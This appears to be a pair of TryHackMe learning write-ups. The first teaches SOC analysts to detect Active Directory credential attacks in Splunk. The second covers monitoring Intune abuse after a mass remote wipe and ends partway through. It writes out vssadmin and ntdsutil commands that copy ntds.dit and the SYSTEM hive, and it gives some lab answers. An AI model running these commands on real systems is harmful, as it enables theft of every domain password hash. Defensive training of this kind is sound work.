Kerberoasting targets service accounts that have SPNs registered. AS-REP Roasting targets a different weakness entirely: user accounts with preauthentication disabled. It doesn't require SPNs, and unlike Kerberoasting, the attacker doesn't even need valid domain credentials to perform it. The underlying flaw is the same, though: the DC hands back encrypted material that the attacker can crack offline to recover the plaintext password. The difference is what triggers the DC to hand it over and what it's encrypted with.

Under normal Kerberos authentication, when a user requests a TGT (ticket-granting ticket), the domain controller requires them to prove they know their password first. The user encrypts a timestamp with their password hash and sends it along with the AS-REQ. The DC decrypts it, verifies the timestamp is recent, and only then issues the TGT. The DC logs Event 4768 (Kerberos TGT Request) with Pre_Authentication_Type=2, followed by Event 4769 when the user requests a service ticket, and Event 4624 when they log onto the target service. The diagram below shows this normal authentication flow:

Normal Kerberos authentication flow where the user proves their identity through preauthentication before receiving a TGT

On the other hand, when an account has the DONT_REQUIRE_PREAUTH flag enabled, the DC skips that verification step. It issues the TGT without first confirming the requester knows the password. The AS-REP that comes back is encrypted with the account's password hash, which means an attacker can take it offline and crack it to recover the plaintext password. An attacker doesn't even need a valid domain account. They only need to know the username of an account with preauthentication disabled. The diagram below shows how this attack bypasses the preauthentication step:

This misconfiguration exists because some legacy applications, like older ERP or payroll systems, fail Kerberos authentication unless preauth is disabled for their service account. Admins might disable it to get the application working and then forget about it.

The key difference between AS-REP Roasting and the normal flow is that the attacker requests the TGT purely to extract the crackable hash. They never request a service ticket, and they never log onto anything. So the DC logs Event 4768 with Pre_Authentication_Type=0, but there is no 4769 and no 4624. The diagram below highlights this difference:

Walkthrough

Follow along in the Splunk instance, and use index=task3 for all queries in this task.

Let's start by looking at all TGT request events to see what normal traffic looks like:

index=task3 EventCode=4768 
| table _time, Account_Name, Pre_Authentication_Type, Ticket_Encryption_Type, Client_Address 
| sort _time

The entry with Pre_Authentication_Type=0 and RC4 encryption (0x17) is the anomaly we're investigating. Let's isolate it:

index=task3 EventCode=4768 Pre_Authentication_Type=0 
| table _time, Account_Name, Pre_Authentication_Type, Ticket_Encryption_Type, Client_Address

This returns the AS-REP Roasting attempt. The Pre_Authentication_Type=0 entry tells us this account has preauthentication disabled, and someone requested a TGT for it.

Now let's check whether this was followed by any authentication activity. If the same source generated any logon events (4624) or TGS requests (4769) for this account after the TGT request, it might be legitimate usage. If there's nothing, the attacker only wanted the hash.

Replace {ACCOUNT_NAME} with the account you identified from the previous results:

index=task3 (EventCode=4624 OR EventCode=4769) | search Account_Name="{ACCOUNT_NAME}" | table _time, EventCode, Account_Name, Client_Address

The query returns zero results. That strongly suggests the TGT was requested for offline cracking rather than for normal service access, though it is not definitive by itself.

A legitimate application could still produce this pattern if it failed before requesting a service ticket, relied on a cached ticket, or otherwise did not complete the expected Kerberos flow. Even so, when the same event also shows Pre_Authentication_Type=0 and RC4 encryption, the absence of follow-up activity makes malicious intent much more likely.

The BlackSuit ransomware group used AS-REP Roasting alongside Kerberoasting in the same intrusion documented by The DFIR Report(opens in new tab). They identified one account with preauthentication disabled and harvested its hash alongside the service account tickets, giving them multiple credential cracking opportunities from a single attack session.

Kerberoasting vs AS-REP Roasting

Now that we've investigated both attacks, the diagram below provides a quick reference for distinguishing them during triage:

On the Splunk instance, investigate the AS-REP Roasting activity.

Answer the questions below

Which account had preauthentication disabled? (Answer Format: username)

index=task3 EventCode=4768 | table _time, Account_Name, Pre_Authentication_Type, Ticket_Encryption_Type, Client_Address | sort _time

Detecting LSASS Credential Dumping

So far, we've been working with Kerberos events on the domain controller to detect attacks that crack passwords offline. LSASS dumping is different. It's a direct credential theft technique that happens on the endpoint where the credentials are stored, and detecting it requires a completely different approach.

Attackers target LSASS (Local Security Authority Subsystem Service) because it stores credentials for every user who has authenticated to the machine. If a domain admin logged into a workstation earlier that day, their NTLM hash and Kerberos tickets are sitting in LSASS memory. An attacker who dumps LSASS on that machine gets those credentials immediately, no cracking required.

Let's think like an attacker. We've Kerberoasted some service accounts in the previous task, but none had domain admin privileges. So what would we do next?

There are different approaches attackers can take, but one of them is finding a machine where a DA or any account with higher privileges has an active session. Dumping LSASS is the next escalation path.

What LSASS Stores

LSASS holds different types of credentials depending on the Windows version and configuration:

NTLM password hashes for all authenticated users
Kerberos tickets (TGTs and TGS tickets) for active sessions
Plaintext passwords on systems where WDigest is enabled (Windows 8/Server 2012 and earlier by default, or any newer version where the UseLogonCredential registry value has been set to 1)
Cached domain credentials for offline logon

The diagram below shows the different credential types stored in LSASS memory:

If an attacker dumps LSASS, they can use NTLM hashes to crack them offline, use them in Pass-the-Hash attacks, or dump Kerberos tickets for Pass-the-Ticket attacks. These are lateral movement techniques with their own detection artifacts. For now, our focus is on detecting the dump itself. The diagram below illustrates the LSASS dumping attack flow:

Detection With Sysmon Event 10

Sysmon Event 10 (ProcessAccess) fires when one process opens a handle to another process. When a tool like Mimikatz or ProcDump accesses lsass.exe, Sysmon records exactly which process did it, what level of access it requested, and the call stack that led to the access. For a deeper dive into LSASS access detection patterns, the Splunk Threat Research Team's article You Bet Your Lsass: Hunting LSASS Access(opens in new tab) is an excellent resource.

Warning: Sysmon Event 10 only logs process access when the Sysmon configuration includes explicit ProcessAccess rules targeting lsass.exe. The default Sysmon installation does NOT log these events. If your environment uses a minimal Sysmon config, LSASS dumping will be invisible to Sysmon.

Here are the fields we'll use for detection:

Field	What It Contains	Why It Matters
SourceImage	Full path of the process accessing LSASS	Identifies the tool used for the dump
SourceUser	The user account running the source process	Identifies the compromised account. SYSTEM is expected; a domain user account is suspicious
TargetImage	Full path of the target process (lsass.exe)	Confirms LSASS was the target
GrantedAccess	Hex access mask showing requested permissions	Different tools request different access levels
CallTrace	DLL call stack leading to the access	Reveals the method used (MiniDump API, injection, etc.)

Understanding the GrantedAccess Field

The GrantedAccess value is a hex bitmask built by adding together individual process access rights(opens in new tab). Understanding how these values are composed helps when you encounter an unfamiliar access mask in the field:

For example, 0x1010 = 0x1000 (PROCESS_QUERY_LIMITED_INFORMATION) + 0x0010 (PROCESS_VM_READ). The 0x0010 bit is what matters for credential dumping, because reading LSASS process memory is how credentials are extracted.

In practice, 0x1010 is associated with Mimikatz, and 0x1FFFFF (PROCESS_ALL_ACCESS) with ProcDump, comsvcs.dll, and Task Manager.

Understanding the CallTrace Field

The CallTrace field shows the chain of DLL calls that led to the LSASS access, and it can distinguish between different dump methods:

Known DLLs like dbgcore.dll and dbghelp.dllindicate the MiniDump API was used. This is how ProcDump and comsvcs.dll create memory dumps. It's a legitimate API being used for a malicious purpose.
UNKNOWN memory offsets (addresses not mapped to any known DLL) indicate injected code. This is the signature of Cobalt Strike beacons, Meterpreter, and other in-memory implants that access LSASS from injected shellcode.

To make this concrete, here's what each pattern looks like in a real CallTrace value:

MiniDump-based (ProcDump/comsvcs.dll):

C:\Windows\SYSTEM32\ntdll.dll+9D4C4|C:\Windows\System32\KERNELBASE.dll+2B16D|C:\Windows\System32\dbgcore.dll+A3C8|...

Injection-based (e.g., Cobalt Strike):

C:\Windows\SYSTEM32\ntdll.dll+9D4C4|UNKNOWN(0000025FA0120000)|UNKNOWN(0000025FA0124B30)|...

The diagram below provides a visual comparison of these two CallTrace patterns:

The distinction matters because it tells you what kind of attacker you're dealing with. A ProcDump-based dump suggests a hands-on-keyboard attacker using LOLBins (legitimate tools for malicious purposes). An injection-based dump suggests a more sophisticated implant.

What Normal Looks Like

Several legitimate processes access LSASS as part of normal Windows operations. Knowing these helps us filter noise:

Full Process Path	Typical GrantedAccess	Why
C:\Windows\System32\csrss.exe	0x1000 or 0x1400	Windows subsystem, manages processes
C:\Windows\System32\WerFault.exe	0x1000	Windows Error Reporting crash handler
C:\Windows\System32\svchost.exe	0x1010	Various service functions (normal at this access level)
AV/EDR agent paths	Varies	Security products monitor LSASS for protection

Note: When filtering out legitimate processes during investigation, always match on the full path, not just the executable name. An attacker can name their tool svchost.exe and place it in C:\Users\Public\ or C:\Temp\. The process name looks legitimate, but the path gives it away. The same logic applies to csrss.exe, WerFault.exe, and any other system process. If the SourceImage path isn't C:\Windows\System32\, treat it as suspicious regardless of the file name. This also means that access masks that are associated with credential dumping tools aren't automatically malicious. It all depends on context: which process is accessing LSASS, and why.

Walkthrough

Follow along in the Splunk instance, and use index=task4 for all queries in this task.

Our investigation starts broad. Rather than jumping straight to known-bad access masks, we first want to see every process that accessed LSASS so we don't miss anything by filtering too early:

index=task4 EventCode=10 TargetImage="*\\lsass.exe"
| stats count by SourceImage, GrantedAccess

If we look at the results, we can see a mix of legitimate system processes and a suspicious entry. Once we identify the suspicious process, let's examine its CallTrace to understand the method used.

Replace {SUSPICIOUS_PROCESS} with the process you identified as suspicious in the previous step:

index=task4 EventCode=10 TargetImage="*\\lsass.exe" SourceImage={SUSPICIOUS_PROCESS}
| table _time, SourceImage, SourceUser, GrantedAccess, CallTrace

The CallTrace tells us whether this was a MiniDump-based dump (known DLLs like dbgcore.dll) or an injection-based dump (UNKNOWN offsets). This distinction matters for the investigation because it changes what you look for next.

The SourceUser field tells us which account was running the dump tool. If it's NT AUTHORITY\SYSTEM, the tool was executed with system-level privileges (possibly through a service or scheduled task). If it's a domain user account like DOMAIN\jsmith, that account is confirmed compromised and needs immediate investigation. Knowing the compromised account is a critical part of scoping the incident because it tells you which credentials, sessions, and systems that account had access to.

In the BlackSuit intrusion documented by The DFIR Report (August 2024)(opens in new tab), the attackers accessed LSASS through an injected mstsc.exe process with an access mask of 0x1010 and through dllhost.exe with 0x1FFFFF in the March 2025 case(opens in new tab). Both processes had been injected with Cobalt Strike beacons, and the CallTrace contained UNKNOWN offsets rather than legitimate DLLs.

Other Credential Stores

LSASS is not the only credential store on a Windows machine, but it is the most valuable target for domain compromise:

The SAM database (C:\Windows\System32\config\SAM) stores local account hashes only, not domain credentials. Attackers extract SAM hashes with tools like reg save or Mimikatz's lsadump::sam, but these only give access to local accounts on that specific machine.
Cached domain credentials (stored in the registry under SECURITY\Cache) are DCC2 hashes that allow offline logon when the DC is unreachable. These are slow to crack (bcrypt-based) and can't be used for Pass-the-Hash, making them a lower-priority target.
The NTDS.dit database on domain controllers contains every account hash in the domain. Extracting it requires privileged access on the DC itself, which we cover in Task 6.

LSASS is the primary target because it holds live domain credentials in a directly usable format. If an attacker dumps LSASS on a machine where a Domain Admin has an active session, they can immediately use those credentials for Pass-the-Hash or Pass-the-Ticket without any cracking.

On the Splunk instance, investigate the LSASS access events.

Answer the questions below

What is the full path of the process that accessed lsass.exe?

index=task4 EventCode=10 TargetImage="*\lsass.exe" | stats count by SourceImage, GrantedAccess

What GrantedAccess value was used? (Answer Format: 0xNNNNNN) 0x1FFFFF

Which DLL in the CallTrace reveals the dump method?

index=task4 EventCode=10 TargetImage="*\lsass.exe" dll calltrace 0x1FFFFF

Detecting DCSync

At this point in the attack chain, imagine the attacker has Domain Admin credentials. Maybe they cracked a Kerberoasted service account that happened to be a Domain Admin, or they dumped LSASS on a machine where a Domain Admin had an active session. Either way, they now have the highest level of access in the domain. The question is what they do with it.

Attackers target DCSync because it lets them extract every password hash in the domain without touching the domain controller's disk, without creating volume shadow copies, and without needing physical access to the DC. It works by abusing the Active Directory replication protocol (DRSUAPI), the same protocol that legitimate domain controllers use to synchronize directory data with each other. The attacker's machine pretends to be a domain controller and requests password data via DRSUAPI. If their account has the right permissions, the real DC complies. Domain Admins, Enterprise Admins, and DC machine accounts have these replication rights by default.

In some environments, attackers can also obtain replication rights through ACL abuse (WriteDACL on the domain object) without ever joining the Domain Admins group.

How DCSync Works

Active Directory replication is built on a set of extended rights that control who can request directory data. Three specific GUIDs are relevant:

{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} is DS-Replication-Get-Changes-All
{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} is DS-Replication-Get-Changes
{89e95b76-444d-4c62-991a-0facbeda640c} is DS-Replication-Get-Changes-In-Filtered-Set

The one that matters most is 1131f6ad, which is DS-Replication-Get-Changes-All. This is the permission that allows pulling password data, and it's the primary indicator of DCSync.

Detection with Event 4662

DCSync detection uses Event 4662 (An operation was performed on an object), which is part of Directory Service Access auditing. When someone exercises the replication extended rights on the domain partition, Event 4662 fires with the replication GUID embedded in the raw event data.

Field	What It Contains	Why It Matters
user	The account performing the replication	Identifies who is running DCSync
Access_Mask	0x100 (Control Access)	Indicates an extended right was exercised
Properties	Shows "Control Access" (GUIDs in raw event)	The replication GUIDs confirm DCSync
Logon_ID	Hex session identifier	Links to 4624 logon event for source IP correlation

The detection signal is an Event 4662 with Access_Mask=0x100, the replication GUIDs present in the raw event data, and a user that isn't a machine account (doesn't end in $).

Warning: Event 4662 for DCSync detection requires TWO things to be configured in advance: (1) "Audit Directory Service Access" must be enabled via Group Policy, and (2) a SACL (System Access Control List) must be set on the domain partition to audit replication operations. Neither is enabled by default. Without both of these, DCSync is completely invisible in the logs. This is one of the most common detection gaps in real environments, and it's worth verifying in any network you're responsible for.

Normal vs Suspicious Replication

In a production environment with multiple domain controllers, Event 4662 events with replication GUIDs are completely normal. Domain controllers replicate constantly. The distinction between normal and malicious is the source, as shown in the diagram below:

Pattern	Normal	Suspicious
user	Machine account ending in $ (e.g., THM-DC$)	Human user account (not ending in $)
Source host	Another domain controller	A workstation or non-DC server
Frequency	Regular intervals matching replication schedule	One-time or burst of requests
Scope	Specific partition changes	Requesting all credentials (-just-dc-ntlm or full dump)

Important note: Our lab environment has a single domain controller, so you won't see legitimate DC-to-DC replication traffic. In a production environment with multiple DCs, the user!="*$" filter is what separates normal replication from DCSync attacks.

Walkthrough

Follow along in the Splunk instance, and use index=task5 for all queries in this task.

With the normal replication patterns from the table above as our baseline, we can filter for the anomaly: a non-machine account exercising replication rights.

The 1131f6ad GUID (DS-Replication-Get-Changes-All) is the permission that allows pulling password data, and filtering out machine accounts (user!="*$") isolates any human user performing replication:

index=task5 EventCode=4662 "1131f6ad" user!="*$"
| table _time, user, Access_Mask, Properties
| sort _time

This query returned results, which means there's a non-machine account performing AD replication. The user field tells us which account was used, and the Properties field confirms this was a Control Access operation. The replication GUID 1131f6ad that we filtered for is embedded in the raw event data, which is why we search for it as a keyword rather than a field filter.

If you click on the event to expand it, you'll see the full GUID {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} in the raw log details under the Properties section. Splunk's field extraction parses this as "Control Access" (the access type) but doesn't extract the individual GUIDs into separate fields. That's why our query uses "1131f6ad" as a keyword search against the raw event text rather than filtering on the Properties field directly.

Warning: The user!="*$" filter assumes attackers use human accounts for DCSync. In practice, adversaries who compromise machine account hashes (through ADCS abuse, unconstrained delegation, or other exploits) can perform DCSync from a machine account. In those cases, the $ filter would hide the attack. For mature environments, consider monitoring ALL accounts performing replication and baselining which machine accounts normally replicate.

Getting the Source IP

Event 4662 doesn't contain a source IP field directly. To find where the DCSync originated, we correlate the Logon_ID from the 4662 event with a 4624 (logon) event for the same session, which contains the Source_Network_Address field. The diagram below illustrates this correlation:

Replace {COMPROMISED_USER} with the account you identified from the previous query:

index=task5 EventCode=4662 Access_Mask=0x100 user={COMPROMISED_USER} "1131f6ad" 
| table _time, host, user, Logon_ID

Replace {LOGON_ID} with the Logon_ID value from the results above:

index=task5 EventCode=4624 Logon_ID={LOGON_ID} 
| table _time, host, user, Source_Network_Address, Logon_Type

This gives us the source IP and confirms the logon type.

During the SolarWinds compromise attributed to APT29(opens in new tab), incident responders documented that the threat actor used privileged accounts to replicate directory service data, confirming DCSync as part of the intrusion. Scattered Spider(opens in new tab) also uses DCSync as a standard part of their credential access playbook, relying on tools like Mimikatz and secretsdump.py once they have obtained domain admin credentials.

On the Splunk instance, investigate the DCSync activity.

Answer the questions below

What account performed the DCSync?

index=task5 EventCode=4662 "1131f6ad" user!="*$" 
| table _time, user, Access_Mask, Properties 
| sort _time

What is the Logon_ID of the DCSync session? (Answer Format: 0xNNNNNNN)

index=task5 EventCode=4662 "1131f6ad" user!="*$" 0x100

What source IP initiated the DCSync?

index=task5 0x5A01668 10.

Detecting NTDS.dit Extraction

DCSync works remotely and blends in with replication traffic. But it's not the only way attackers extract credentials from Active Directory. Before DCSync became the standard, attackers copied the NTDS.dit file directly from the domain controller. This older approach is noisier, but it's still actively used in real intrusions.

How NTDS.dit Extraction Works

The NTDS.dit file is the Active Directory database stored on every domain controller (typically at C:\Windows\NTDS\ntds.dit). It contains password hashes for every account in the domain. The problem for attackers is that Windows locks this file while AD DS is running, so it can't be copied directly. Attackers use two main workarounds:

Volume Shadow Copy (vssadmin): Creates a point-in-time snapshot of the filesystem, bypassing the file lock. The attacker creates a shadow copy, copies ntds.dit and the SYSTEM registry hive (needed to decrypt the hashes) from the snapshot, then deletes the shadow copy.

Typical command sequence:

C:\Windows\System32> vssadmin create shadow /for=C:
C:\Windows\System32> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
C:\Windows\System32> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
C:\Windows\System32> vssadmin delete shadows /shadow={shadow-id} /quiet

Install From Media / ntdsutil: A legitimate AD management tool designed for domain controller promotion. Attackers abuse the IFM (Install From Media) feature to produce a clean copy of ntds.dit and the SYSTEM hive, saving them to a local directory.

Typical command:

C:\Windows\System32> ntdsutil "ac i ntds" "ifm" "create full C:\temp" q q

Both methods require privileged access on the domain controller. vssadmin needs local admin rights, while ntdsutil requires Domain Admin or equivalent AD DS permissions. Both produce the same result: an offline copy of the AD database that can be parsed with tools like secretsdump.py or NTDSDumpEx to extract all password hashes. The diagram below shows both extraction paths:

Detecting NTDS.dit Extraction

NTDS.dit extraction is detected through process creation events. We're looking for vssadmin.exe or ntdsutil.exe being executed on a domain controller with command-line arguments related to shadow copies or IFM.

Note: If Sysmon isn't deployed on your domain controllers, Windows Security Event 4688 (Process Creation) with command-line logging enabled provides the same process and command-line visibility. The queries in this walkthrough use Sysmon Event 1, but the detection logic applies to 4688 as well.

Sysmon Event 1 (Process Creation) captures the full command line. The detection signals are:

ntdsutil.exe with a command line containing ifm and create
vssadmin.exe with a command line containing create shadow

Sysmon Event 11 (File Creation) captures when ntds.dit is written to an unusual location by ntdsutil.exe. The MITRE CAR-2019-08-002(opens in new tab) analytic specifically targets this artifact.

Walkthrough 1: Investigating ntdsutil Malicious Use

Follow along in the Splunk instance, and use index=task6 for all queries in this task.

We start by looking for ntdsutil.exe execution because the IFM subcommand is the most common extraction method, and Sysmon Event 1 captures the full command line:

index=task6 EventCode=1 Image="*\ntdsutil.exe"
| table _time, host, User, ParentImage, Image, CommandLine

The CommandLine field shows the full ntdsutil command used. The ParentImage tells us how ntdsutil was launched.

Now let's check if the extraction produced the expected file:

index=task6 EventCode=11 TargetFilename="*ntds.dit" Image="*\\ntdsutil.exe"
| table _time, Image, TargetFilename

If this returns a result, the NTDS.dit file was successfully written to disk. The TargetFilename shows where the attacker saved it.

Walkthrough 2: Investigating vssadmin Shadow Copy

The second extraction method uses vssadmin to create a volume shadow copy, then copies ntds.dit and the SYSTEM hive from the snapshot.

Let's search for the shadow copy creation:

index=task6 EventCode=1 Image="*\vssadmin.exe" CommandLine="*create shadow*"
  | table _time, host, User, ParentImage, Image, CommandLine

The CommandLine confirms a shadow copy was created. Creating a shadow copy alone has legitimate uses (backups, system restore), so this event by itself doesn't confirm credential theft. What confirms it is what happens next.

Let's look for copy commands that target sensitive files from the shadow copy path:

index=task6 EventCode=1 CommandLine="*HarddiskVolumeShadowCopy*" (CommandLine="*ntds*" OR CommandLine="*SYSTEM*")
| table _time, host, User, ParentImage, Image, CommandLine

Let's look for copy commands that target sensitive files from the shadow copy path:

index=task6 EventCode=1 CommandLine="*HarddiskVolumeShadowCopy*" (CommandLine="*ntds*" OR CommandLine="*SYSTEM*")
| table _time, host, User, ParentImage, Image, CommandLine

The CommandLine field reveals the full source and destination paths the attacker used. Both files together give the attacker everything needed to extract every credential in the domain offline.

DCSync vs NTDS.dit Extraction

Attribute	DCSync	NTDS.dit Extraction
Method	Remote replication via DRSUAPI	Local file copy via shadow copy or IFM
Access needed	Replication rights (DA by default)	Local admin on the DC
Log source	Event 4662 (Directory Service Access)	Sysmon Event 1 (Process Creation), Event 11 (File Creation)
Network visibility	Replication traffic from a non-DC IP	No network artifacts (local operation)
Noise level	Low (blends with normal replication)	High (shadow copy creation, file writes)

The diagram below visualizes these differences:

On the Splunk instance, investigate the NTDS.dit extraction activity.

Answer the questions below

What is the full command line used to extract NTDS.dit? (Answer Format: full command line as shown in Splunk)

index=task6 EventCode=1 Image="*\ntdsutil.exe" 
| table _time, host, User, ParentImage, Image, CommandLine

What is the full shadow copy path the attacker copied ntds.dit from? (Answer Format: full path as shown in the CommandLine)

index=task6 THM-DC ntds.dit User="tryhatmestudios\adm-luke.sullivan"

Where did the attacker stage the files copied from the shadow copy? (Answer Format: directory path) C:\Windows\Temp

Investigation Challenge

A detection rule triggered on your SIEM for a burst of TGS requests with RC4 encryption from a single source within a 60-second window. The requests targeted multiple service accounts across different departments, and the source IP doesn't belong to any known service or scheduled task. Investigate whether this is a legitimate application or an active intrusion, and determine how far the attacker got.

This challenge uses a separate dataset from the guided tasks. Use index=task7 for all queries in this task.

Answer the questions below

Which account was targeted by AS-REP Roasting?

index=task7 Pre_Authentication_Type=0

What account performed the Kerberoasting? (Answer Format: username only, without @domain)

index=task7 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt"

What process accessed LSASS on the workstation?

index=task7 lsass

index=task7 EventCode=10 TargetImage="*\lsass.exe" dll calltrace 0x1FFFFF

What GrantedAccess value was used for the LSASS dump? (Answer Format: 0xNNNNNN) 0x1FFFFF

What account performed the DCSync attack?

index=task7 0x1FFFFF

Conclusion

This room covered five credential attack techniques that bridge an attacker's initial foothold to full domain compromise, each detected through a different log source and event type.

Takeaways

Technique	Event ID	Detection Signal	Log Source	Privilege Required
Kerberoasting	Security 4769	Ticket_Encryption_Type=0x17, multiple SPNs from one account	DC Security Log	Any domain user
AS-REP Roasting	Security 4768	Pre_Authentication_Type=0, no follow-up authentication	DC Security Log	None (just a username)
LSASS Dumping	Sysmon 10	TargetImage=lsass.exe, suspicious GrantedAccess and CallTrace	Endpoint Sysmon	Local admin
DCSync	Security 4662	Access_Mask=0x100, replication GUIDs, non-machine account	DC Security Log	Domain Admin (replication rights)
NTDS.dit Extraction	Sysmon 1, 11	ntdsutil.exe or vssadmin.exe with IFM/shadow copy arguments	DC Sysmon	Local admin on DC

Each technique in the escalation chain uses a different log source. Kerberos attacks show up on the DC Security log, LSASS dumping requires Sysmon on endpoints, and DCSync needs Directory Service Access auditing on the DC.
The events themselves aren't rare. What makes them suspicious is context: RC4 in an AES environment, a non-DC account performing replication, or a high-privilege access mask on LSASS from an unexpected process.
Logging must be configured before the attack happens. DCSync is invisible without SACLs on the domain partition, and LSASS access is invisible without Sysmon ProcessAccess rules.
Attackers use credentials from these techniques for lateral movement (Pass-the-Hash, Pass-the-Ticket), which are separate detection challenges with their own log artifacts.

Microsoft Intune Monitoring (TryHackMe)

Jebitok — Wed, 25 Mar 2026 08:24:17 GMT

Introduction

Microsoft Intune is one of the most widely used Mobile Device Management (MDM) platforms in the enterprise. It is a powerful tool in the hands of IT and security teams, but it can also become a weapon for attackers, as proven by the recent wiper attack on Stryker. In this room, you will explore how Intune can be abused, how to harden it against attack, and how to monitor it effectively in a SOC.

Learning Objectives

Learn Microsoft Intune features and applications
Discover the use of Intune by SOC and security teams
Explore how Intune is exploited based on a Stryker incident
Practice monitoring Intune from Splunk and the host perspective

Prerequisites

What Is Microsoft Intune

Overview

Microsoft Intune is a cloud-based Mobile Device Management platform (MDM). It lets your organization audit how Windows, Linux, MacOS, and mobile devices are used across your environment and remotely control their password policy, disk encryption, OS settings, application allowlist, and much more. Other popular MDM vendors you might have heard of are Jamf, JumpCloud, Atera, and Manage Engine.

How Intune Works

First, you need to enroll devices into Microsoft Intune, either manually via physical device access or remotely. Luckily, most OS support remote enrollment through the built-in OS capabilities, such as ADE in MacOS and Google Play services in Android. On Windows, that's even simpler. All you need to enroll is to log in to your device with your corporate email (1) and see your device in the Entra ID console (2). MDM will be deployed automatically:

Next, the MDM agent is being deployed. Marketing-wise, Intune is agentless and doesn't need you to install MSI or PKG packages on every device. But process-wise, it's always some kind of an agent that is automatically installed in the background on your behalf. Very similar to EDR, MDM agents will connect to the central console and listen for instructions.

Intune Capabilities

Intune has a broad range of features, especially for Windows and MacOS:

Build an asset inventory of all corporate devices
Push configuration policies to devices remotely
Deploy and manage applications across your fleet
Wipe devices in case of malware infection or physical theft
Enforce compliance rules (e.g. require encryption or OS update)
Integrate with Microsoft Entra ID (formerly Azure Active Directory)

Why It Matters to You

As a SOC L2 analyst, you will encounter Intune in many scenarios:

As an asset inventory database to get more information about the device
To quickly patch or uninstall software during major supply chain incidents
To apply policies, run security checks, or bulk-install EDR/SIEM agents
To isolate devices from the network or reimage the OS in case of theft

Answer the questions below

Is Intune a cloud-based or self-hosted MDM solution? Cloud-based

What identity platform does Intune closely integrate with? Entra ID

Intune for Security Teams

Intune Portal

You can organize the onboarded devices into groups and manage them from the Intune cloud console (https://intune.microsoft.com/)(opens in new tab). From there, you can define policies, deploy scripts, install apps, configure auto-enrollment, and much more. Note that the Intune license is currently included in Microsoft 365 E3 and E5 subscriptions, which means you may use Intune at no additional cost if your enterprise already manages users in Entra ID.

Device Management

As a SOC analyst, you are unlikely to apply settings in Intune yourself, but you should know that most OS configurations can be applied remotely via Intune. For example, the Devices > Configuration feature allows you to apply security best practices, such as disabling RDP on regular user workstations or enabling Logon/Logoff auditing across all endpoints:

Device Compliance

Intune also supports labeling assets as compliant/non-compliant and even restricting access to cloud resources via two features: Compliance and Conditional Access. This feature is extremely useful for securing critical apps, such as the mailbox and SharePoint. Imagine a practical use case where your goal is to ensure only known and hardened devices can access corporate M365.

First, you start by creating an Intune compliance policy
The policy labels enrolled devices as non-compliant if:
- BitLocker encryption is not enabled
- MS Defender EDR is not installed
- User password isn't strong enough

Then, you create a Conditional Access policy for all or selected users
The policy will block access to M365 if the user is trying to log in from:
- An unknown device (not enrolled into Entra ID or Intune MDM)
- Or a non-compliant device (according to the conditions we defined)

Device Context and SIEM

Whenever a user logs in to a cloud app via Entra ID, Microsoft includes the device details in its audit logs. This is a huge benefit for SOC, since you will know whether the user used an unmanaged device (deviceDetail will be empty), a device joined to Entra ID (trustType subfield), or a trusted device, managed by Intune (isCompliant and isManaged subfields).

*9 out of 10 M365 attacks originate from unmanaged devices (the deviceDetail field is empty)
An attack from a managed device typically indicates an insider threat or that the device is infected/stolen
*

Answer the questions below

What Entra ID and Intune feature controls access based on conditions? Conditional Access

Which log field in SIEM shows if the device is managed or not? deviceDetail

Intune Risks: Remote Wipe

Wiper Attack on Stryker

In the wrong hands, the Intune console can become a fully-featured Command & Control server, or a weapon for mass destruction of corporate data. On March 11, 2026, the threat actors allegedly compromised(opens in new tab) an administrative M365 account of Stryker, a US-based medtech giant, and issued a remote wipe Intune command across nearly 80,000 enrolled devices. Within hours, data was erased, causing a major disruption to Stryker's operations. How was this possible?

Intune Bulk Device Actions

Intune supports bulk actions across enrolled devices: restart, rename, and wipe, among them. With administrative access to the Intune console, any user can issue a wipe command against the selected devices, across all platforms except Linux. The moment the agent receives the command, it immediately resets the device to factory settings, erasing local data. This exact functionality was weaponized to destroy data across nearly 80,000 devices.

Devices > Bulk device action > Wipe

The state of the target laptop after around 1 minute

Monitoring Remote Wipes

First of all, remember that there is no sense in building SIEM rules like "Mass Device Wipe via Intune", because by the time your SOC triages the alert, the wipe will already finish (there is no documented way of aborting the Intune command). Still, let's see a timeline of events leading to wiper attacks:

Intune Login

The first stage is to detect logins to the Intune portal. At a minimum, you should alert on logins of Intune administrators from unmanaged devices, suspicious IPs, or outside of working hours. Regular Entra ID sign-in logs record every Intune login with appDisplayName set to "Microsoft Intune portal extension".

An advanced adversary can also use Intune via Graph API instead of a web browser. You can detect it whenever someone consents to the app with DeviceManagementManagedDevices.* or DeviceManagementConfiguration.* OAuth permissions (Mandiant example(opens in new tab)). But for this room, let's focus on the more common attack path, Intune access via a web browser. You can use the query below to list all Intune console logins from unmanaged devices:

Splunk query to detect Intune logins from unmanaged devices

index=intune sourcetype=azure:aad:signin appDisplayName=Intune deviceDetail.displayName="" 
| rename deviceDetail.* as dvc.* 
| table _time appDisplayName ipAddress dvc.isManaged dvc.isCompliant dvc.displayName user

Wipe Command

Unfortunately, the next and final point where you can catch Intune abuse is already the remote wipe. Whenever a user initiates a remote command, you see the corresponding logs in Tenant admin > Audit logs Intune panel in real time. Note that, unlike in Entra ID and M365, you can't ingest Intune logs directly into SIEM. You'd need to use the Graph API or route the logs through Azure Event Hub (Documentation(opens in new tab)).

Every log record contains the actor and the activity type. For wipe events, the activityType field is wipe ManagedDevice. You won't see the name of the wiped host, but you will see its device ID. This field can then be correlated with other historical events, such as Add device within Entra ID audit logs, to identify the hostname, hardware ID, and OS version of the wiped device.

Splunk query to detect remote wiper (Note that the sourcetype is custom)

index=intune sourcetype="o365:graph:intune" wipe
| eval deviceid=mvindex('resources{}.modifiedProperties{}.newValue', 0)
| table _time activityType actor.userPrincipalName deviceid

Practice

In this task, you will investigate a remote wipe of a Windows device in Splunk.
Search for All Time and start from the index=intune SPL query.

Answer the questions below

What is the device ID of the wiped device?

index=intune wipe

What is the hostname of the wiped Windows device?

index=intune d66b71f3-a644-4392-89b2-d97ba5612356

From which IP did the admin perform the remote wipe?

index=intune steven.mills@tryhackme.thm

Intune Risks: Apps & Scripts

Intune Platform Scripts

